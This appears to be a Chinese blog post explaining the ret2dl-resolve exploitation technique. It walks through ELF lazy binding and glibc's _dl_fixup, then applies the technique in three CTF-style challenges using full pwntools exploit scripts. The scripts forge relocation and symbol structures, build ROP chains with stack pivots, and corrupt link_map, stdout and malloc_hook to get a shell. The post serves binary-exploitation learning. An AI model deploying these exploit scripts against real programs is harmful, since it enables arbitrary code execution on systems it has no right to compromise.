dl_reslove
前言
手法适合有溢出但是没有输出函数泄露的情况下
ELF下的动态链接
在linux下,动态链接的程序要调用其他链接库的函数,就要在程序加载的时候动态链接,linux中都叫做GOT表。
调用库函数的时候,会有jmp [addr]指令,这里的addr就是got表地址
linux中调用库函数流程
这是一个例子,后面会分析如何使用dl_reslove攻击
用IDA反汇编出来
这里setbuf、scanf、exit都是libc.so.6中的标准库函数,选择scanf调用分析
先call ___isoc99_scanf
然后jmp [got表地址]完成函数调用
,
上调试看看调用的一个过程
可以发现程序进入call ___isoc99_scanf
之后并没有直接执行scanf函数,而是调用了_dl_runtime_resolve_xsavec
,这是因为程序加载的时候使用延迟绑定机制,只有等这个函数被调用了,才会把函数地址放入got表中。
再没有进入_dl_runtime_resolve_xsavec
之前,push
了两个参数到栈上,这里的1
就是偏移,qword ptr [rip + 0x22aa]
就是linkmap,之后详细讲,之后会调用_dl_runtime_resolve_xsavec
_dl_runtime_resolve_xsavec函数
会根据这两个参数,获取到scanf函数在内存中的实际地址,然后放到相应的got表中,并调用
elf格式section
readelf -d test1 #使用readelf查看或者,IDA查看
.dynamic
IDA中查看更方便一点,所有的linux程序的dynamic节都基本上是这样的
.dynamic
节包含与动态链接相关的信息,这些信息用于在程序运行时连接所需的共享库
最关键的三个条目DT_STRTAB, DT_SYMTAB, DT_JMPREL
DT_STRTAB
<5, 400480h>,
5
是DT_STRTAB
的标识符。400480h指向.dynstr
.dynstr
0x400480处,是一个字符串表,包含动态链接所需的字符串,在DT_SYMTAB
找符号表的时候使用偏移调用这里的字符串
DT_SYMTAB
<6, 4003A8h>,
6
是DT_SYMTAB
的标识符。4003A8h指向.dynsym
每个条目是一个结构体,大小为0x18,
typedef struct elf64_sym {
Elf64_Word st_name;
/* 该符号的名字在字符串表中的起始下标
通过IDA显示,不难发现,两个地址相减,这里就是.dynstr中的偏移
*/
unsigned char st_info; /* 该符号的类型以及作用域信息 */
unsigned char st_other; /* 暂未使用 */
Elf64_Half st_shndx; /* 该符号所在的 section 的下标,如 .data 节为 2 */
Elf64_Addr st_value; /* 该符号的值在该 section 中的偏移 */
Elf64_Xword st_size; /* 该符号的大小 */
} Elf64_Sym;
DT_JMPREL
<17h, 4005C8h>,
17
是DT_JMPREL
的标识符。4005C8指向.rel.plt
这里是重定位表,也是一个结构体,大小0x18
typedef struct
{
Elf64_Addr r_offset; /* got表地址*/
Elf64_Xword r_info;
/*前 32位用于表示重定位类型(类似 EI_CLASS),后 32 位用于表示符号表条目在符号表DT_SYMTAB中的索引。*/
Elf64_Sxword r_addend; /* 附加信息 */
} Elf64_Rela;
小结:DT_JMPREL
中通过偏移定位到DT_SYMTAB
,DT_SYMTAB第一个参数是DT_STRTAB
中的偏移,三者呈现包含关系
_dl_runtime_resolve_xsavec
也是主要通过这三个节来找到库函数真实地址的
_dl_runtime_resolve
源码在glibc-2.23\sysdeps\x86_64\dl-trampoline.S
通过汇编写的
第一个参数push qword ptr [rip + 0x22aa]
是一个linkmap的指针,通过linkmap可以访问到前面讲的section
比如0x403178
就是前面的DT_SYMTAB
LOAD:0000000000403178 06 00 00 00 00 00 00 00 A8 03…Elf64_Dyn <6, 4003A8h>
//; DT_SYMTAB
第二个参数就是当前导入函数在.rel.plt
中的偏移,这里调用导入scanf
,下标为1
,可以翻到上面看是对应的。
_dl_runtime_resolve
主要为dl_fixup
函数做初始化操作,_dl_fixup
是在glibc-2.23/elf/dl-runtime.c实现的。
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
/*通过linkmap和固定偏移取出symtab*/
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
/*通过linkmap和固定偏移取出strtab*/
const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
/*通过参数 reloc_arg 计算重定位入口,这里的 DT_JMPREL 即 .rel.plt,reloc_offset 即 reloc_arg
前面说reloc_arg是rel.plt中的下表,比如我这里导入scanf,这里reloc就通过reloc_arg+linkmap偏移拿到
Elf64_Rela <4032E8h, 400000007h, 0> ; R_X86_64_JUMP_SLOT __isoc99_scanf
*/
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
/*
rel.plt条目中是包含symtab偏移的,就可以取出
Elf64_Sym <offset aIsoc99Scanf - offset unk_400480, 12h, 0, 0, 0, 0> ; "__isoc99_scanf"
*/
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
/*rel_addr通过rel.plt中的偏移+基地址拿到got表的真实地址*/
/*可以发现上面的各种参数都没有检查,就可以篡改利用*/
lookup_t result;//用于存储符号查找的结果
DL_FIXUP_VALUE_TYPE value;// 用于存储最终的重定位值
/* 确保重定位条目类型是 PLT 重定位类型*/
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* 符号查找 */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 根据 strtab+sym->st_name 在字符串表中找到函数名,然后进行符号查找获取 libc 基址 result
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
// 将要解析的函数的偏移地址加上 libc 基址,得到函数的实际地址
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* 重新定位的加法。 */
value = elf_machine_plt_value (l, reloc, value);
// 将已经解析完成的函数地址写入相应的 GOT 表中
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
_dl_runtime_resolve总结
-
符号表和字符串表获取:
- 从
link_map
结构体中,通过固定的偏移量获取符号表 (symtab
) 和字符串表 (strtab
) 的地址。
- 从
-
重定位入口计算:
- 从
DT_JMPREL
获取重定位表的基地址,并加上传入的reloc_arg
计算得到具体的重定位条目 (reloc
),这是.rel.plt
区段中的条目。
- 从
-
符号查找:
- 从
reloc
的信息中获取符号表的偏移地址,并通过符号表中的符号信息 (sym
) 查找具体的符号。 - 如果符号的可见性允许,进行符号查找,获取到符号的实际地址。
- 使用
_dl_lookup_symbol_x
函数查找符号的实际地址。
- 从
-
修正符号地址:
- 根据查找到的符号地址,将其与 GOT中的地址进行结合,得到最终的函数地址。
-
写入 GOT 表:
- 将解析得到的函数地址写入相应的 GOT 表项。
-
最终修正:
- 使用
elf_machine_fixup_plt
函数对 GOT 表项进行最终的修正。
- 使用
-
错误处理:
- 通过
GLRO(dl_bind_not)
检查是否需要处理绑定失败的情况。
- 通过
ret2dl-resolve 利用
传入_dl_runtime_resolve
一共是两个参数,一个linkmap
,一个reloc_arg
偏移,先从简单的reloc_arg
偏移攻击
reloc_arg攻击
分为两种情况,一种是_DYNAMIC
可写,直接改STRTAB的偏移就能就能控制got表上的导入函数
一种是_DYNAMIC
不可写,需要控制reloc_arg
偏移打到bss
段上,然后在bss段上伪造DT_JMPREL、DT_SYMTAB、DT_STRTAB
_DYNAMIC
可写
改情况在RELRO未开启的时候存在
还是前面的例子,有任意地址的8字节改,但是没有输出函数,没法泄露,并且调用完使用exit退出,
这里exit的参数很怪,可以执行到sh命令
因为_DYNAMIC
可写,直接改DT_SYMTAB
偏移指向system
第一次输入_DYNAMIC上的STRTAB
,然后算出exit字符串的偏移为0x3D,改为system_addr-0x3d
因为字符串表被篡改exit用的是'system',所以会导入system函数到exit@got中
from pwn import *
FILENAME='../test1'
p=process(FILENAME)
elf=ELF(FILENAME)
dynamic=elf.get_section_by_name('.dynamic').header.sh_addr
print(hex(dynamic))
STRTABLE=dynamic+0x90+0x8
p.sendline(f'{STRTABLE:x}')
STR_SYSTEM=0x403320
p.sendline(f'{STR_SYSTEM-0x3D:x}')
p.interactive()
_DYNAMIC
不可写
2024CyberSpace 的ez-rop
有一个栈溢出,但是没有输出函数,无法泄露地址
通过ROP可以完成栈迁移,并且执行多条指令,可以在bss段上伪造三条节
然后引用plt的时候直接跳过push n ,这里n自己伪造指向bss段上伪造的数据,伪造的过程还是自己动手实现能增加理解,伪造过程不讲解,这里展示伪造完成的结果
利用ROP直接跳过plt的push操作,直接jmp,提前在bss段上写入0x2e3
的偏移,这里的偏移就是DT_JMPREL
的条目下标
0x4005f0+0x18*2e3
=0x404B38
,0x404b38处放着我伪造的Elf64_Rela结构体
Elf64_Rela
第一个参数got的地址,第二个参数写7
就行(导入函数的标识符),第三个参数还记得吗,是STRSYM
的下标
这里我伪造了0x30e
,通过计算0x4003D0+0x18*0x30e
=0x404D20
0x404D20
就是我伪造Elf64_Sym结构体处
,第一个参数是STRTAB
的字符串在STRTAB
中的偏移,第二个写0x12(导入函数),其他全写0
来看看这个字符串偏移指向的是什么,0x4004C0+0x4a50
=0x404F10
指向的是system,通过伪造,然后就可以导入system函数地址到setbuf@got中。
from pwn import *
FILENAME='../chall'
p=process(FILENAME)
elf=ELF(FILENAME)
call_fgets=0x40119A
rsi_ret=0x401165
movRdiRsi_ret=0x40115A
bss=0x405000-0x100
leave_ret=0x4011B6
fake_strAddr=bss
fake_symAddr=fake_strAddr-0x200
fake_jmpAddr=fake_symAddr-0x200
STR_offset=0x4a50
mygot=0x404000
JMP_offset=0x30D+1
reloc_arg=0x2e3
success('fake_strAddr '+hex(fake_strAddr))
success('fake_symAddr '+hex(fake_symAddr))
success('fake_jmpAddr '+hex(fake_jmpAddr))
payload=b'a'*(0x60)+p64(fake_strAddr+0x60)+p64(call_fgets)
p.sendline(payload)
payload=p64(fake_symAddr+0x60)+p64(call_fgets)+b'system\x00\x00/bin//sh'
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_strAddr)+p64(leave_ret)
p.sendline(payload)
payload=p64(fake_jmpAddr+0x60)+p64(call_fgets)
payload+=p64(0)*2+p32(STR_offset)+p32(0x12)+p64(0)*2
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_symAddr)+p64(leave_ret)
p.sendline(payload)
payload=p64(rsi_ret)+p64(fake_strAddr+0x18)+p64(movRdiRsi_ret)+p64(0x40103B)+p64(reloc_arg)
payload+=p64(0)*2+p64(mygot)+p32(7)+p32(JMP_offset)+p64(0)
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_jmpAddr-0x8)+p64(leave_ret)
p.sendline(payload)
p.interactive()
linkmap攻击
通过linkmap攻击也能完成导入函数在got
表上的偏移,比如在exit
处调用,但是exit
函数放到read@got
处
并且完成导入任意函数到任意got
处,
前面都是基于程序上的溢出攻击,linkmap
基于在libc
和ld
上的地址篡改攻击
2024巅峰极客easyblind
在init
的时候执行func
函数,申请的大chunk
在libc
上面,然后libc上固定偏移的一个单字节任意改
main
函数包括func
后面会执行exit,
在
dl_fixup
中rel_addr是指向got表的真实地址,是通过linkmap->l_addr取出+rel.plt中的偏移的void const rel_addr = (void )(l->l_addr + reloc->r_offset);
这里的rax
是从[r10]
取出的,这里的r10就是linkmap中的
加上之后取出got
表真实地址,后面会通过符号找到库函数地址,写入的就是这个got地址,这里地址是没有检查的,如果通过篡改会导致找到的库函数放到任意got
表处
篡改linkmap的上的偏移让write@got改到exit,不让程序退出就能完成无限循环
const char strtab = (const void ) D_PTR (l, l_info[DT_STRTAB]);
STRTAB
也是从linkmap
上去的,也可以篡改,但是现在没有地址而且每次循环都要使用,不能直接改到偏差很大的地方
IDA显示的dynamic
,0X78
结尾的是STRTAB
STRTAB
的结构,开始是类型,后面是存放字符串表的地址
DT_DEBUG
存放的地址使用的是_r_debug这个地址是在ld上
这样就可以篡改在_r_debug
上写入字符串符号,然后再STRTAB
修改为DT_DEBUG
,这样就利用单字节篡改,可以导入任意函数
我们现在是没地址的,通过stdout篡改就可以泄露地址,但是现在stdout也没地址,就需要刷新流,可以改exit@got为_IO_flush_all
刷新,然后泄露地址,最后通过malloc_hook打rop完成
from pwn import *
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn11'
elf=ELF(FILENAME)
libc = elf.libc
p = process(FILENAME)
def mysend(offset,value):
if(offset>=0x10):offset-=0x10
p.send(p64(offset))
p.send(p8(value))
p.recvuntil(b'WORLD\x00',timeout=1)
def mysendALL(offset,value):
for i in range(len(value)):
mysend(offset+i,value[i])
link_map = 0x26a190
stdout=0x22e6a0
r_debug=0x26a160
STR_write=0x3e
malloc_hook=0x22db70
realloc_hook=malloc_hook-0x8
mysend(1,0x18)
mysend(link_map,0x18)
mysendALL(stdout,p16(0x1887))
mysend(stdout+0x28,0x18)
mysendALL(r_debug+STR_write,b'_IO_flush_all\x00')
mysend(link_map+0x68,0XB8)
mysend(stdout+0x20,0x8)
libc_add=u64_fix(p)
libcbase=libc_add-0x1ec980
dir('libcbase')
mysend(link_map+0x68,0x78)
mysendALL(r_debug+STR_write,b'malloc\x00')
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[2]
gg=0x0000000000152785+2+libcbase
gg2=0x0000000000092eda+libcbase
mmap=libcbase-0x41000
dir('execve')
dir('gg')
mysendALL(malloc_hook,p64(gg)[:6])
mysendALL(0x38+0x10,p64(mmap)[:6])
mysendALL(0x20,p64(gg2)[:6])
mysendALL(0x58,p64(execve)[:6])
mysend(link_map+0x68,0XB8)
p.interactive()
-
9_2.zip 下载